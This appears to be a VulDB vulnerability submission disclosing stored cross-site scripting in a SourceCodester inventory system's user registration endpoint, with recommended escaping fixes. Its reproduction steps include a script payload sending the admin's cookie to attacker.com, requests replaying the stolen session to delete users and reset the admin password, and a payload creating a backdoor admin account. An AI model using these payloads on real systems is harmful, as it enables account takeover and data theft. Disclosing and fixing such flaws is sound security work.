Submit #844353: SourceCodester Inventory Management System NA Cross Site Scriptinginfo

TitleSourceCodester Inventory Management System NA Cross Site Scripting
DescriptionThe user registration endpoint at POST /api/users_handler.php does not sanitize the username and full_name parameters before storing them in the database. When an administrator views the User Management page (users.php), these fields are rendered directly into the HTML without escaping, causing stored Cross-Site Scripting (XSS) to execute in the admin's browser context. An attacker can exploit this to steal the admin's session cookie, create backdoor admin accounts, and exfiltrate all user data. I confirmed this by registering a user with a session-stealing payload, which executed when the admin viewed users.php, granting full account takeover without knowing any credentials. Steps to Reproduce Environment: - Target: http://localhost/Product_Inventory/ - Attacker: Unauthenticated (no account needed) - Victim: Admin user (admin) with valid session Step 1: Register attacker account with malicious payload Send the following request to create a new user with an XSS payload in the full_name field: POST /Product_Inventory/api/users_handler.php HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded action=register&username=ato_demo&password=attacker123&full_name=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script> Response: {"success":true,"message":"User registered successfully!"} The payload is stored in the database unsanitized. Step 2: Admin views User Management page When the admin visits http://localhost/Product_Inventory/users.php, the application renders the attacker's full_name field directly into the HTML table: <td><script>fetch('http://attacker.com/steal?cookie=' document.cookie)</script></td> <td>ato_demo</td> The <script> tag executes in the admin's browser, sending their session cookie to the attacker's server. Attacker receives: GET /steal?cookie=PHPSESSID=iignkjpc8044j2u8gi647h3v22 Host: attacker.com Step 3: Attacker uses stolen session to take over admin account The attacker sets the stolen session cookie and accesses the admin panel: GET /Product_Inventory/users.php HTTP/1.1 Host: localhost Cookie: PHPSESSID=iignkjpc8044j2u8gi647h3v22 Verified actions with stolen session: 1. View admin user details: POST /Product_Inventory/api/users_handler.php HTTP/1.1 Host: localhost Cookie: PHPSESSID=iignkjpc8044j2u8gi647h3v22 action=get_user&id=1 Response: {"id":1,"username":"admin","full_name":"GANESH DUTT","role":"admin"} 2. Delete any user: POST /Product_Inventory/api/users_handler.php HTTP/1.1 Host: localhost Cookie: PHPSESSID=iignkjpc8044j2u8gi647h3v22 action=delete_user&id=3 Response: {"success":true,"message":"User deleted successfully!"} 3. Change admin password: POST /Product_Inventory/api/users_handler.php HTTP/1.1 Host: localhost Cookie: PHPSESSID=iignkjpc8044j2u8gi647h3v22 action=update_user&id=1&username=admin&full_name=GANESH+DUTT&role=admin&password=hacked123 Response: {"success":true,"message":"User updated successfully!"} Attacker can now log in directly with admin:hacked123. Step 4: Persistent backdoor (optional) The XSS payload can create a permanent backdoor admin account: <script> fetch('api/users_handler.php', { method: 'POST', body: 'action=register&username=backdoor&password=hacked&role=admin' }); </script> This ensures the attacker retains access even if the original payload is removed. Impact - Full admin account takeover — Attacker impersonates admin without credentials - Persistent backdoor access — Create hidden admin accounts via XSS - Complete data breach — Exfiltrate all user PII (names, usernames, roles) - Denial of service — Delete legitimate admin accounts - Privilege escalation chain — Combined with the role parameter vulnerability, attacker can register → inject XSS → steal admin session → full system compromise Recommended Fix 1. Escape output in users.php: <td><?php echo htmlspecialchars($row['full_name'], ENT_QUOTES, 'UTF-8'); ?></td> <td><?php echo htmlspecialchars($row['username'], ENT_QUOTES, 'UTF-8'); ?></td> 2. Validate input during registration: $full_name = htmlspecialchars($_POST['full_name'], ENT_QUOTES, 'UTF-8'); $username = preg_replace('/[^a-zA-Z0-9_]/', '', $_POST['username']); 3. Set HttpOnly flag on session cookies (defense-in-depth): ini_set('session.cookie_httponly', 1);
User
 Anonymous User
Submission05/31/2026 20:07 (29 days ago)
Moderation06/28/2026 20:31 (28 days later)
StatusAccepted
VulDB entry374578 [SourceCodester Inventory Management System 1.0 User Registration Endpoint /api/users_handler.php full_name cross site scripting]
Points17

Want to stay up to date on a daily basis?

Enable the mail alert feature now!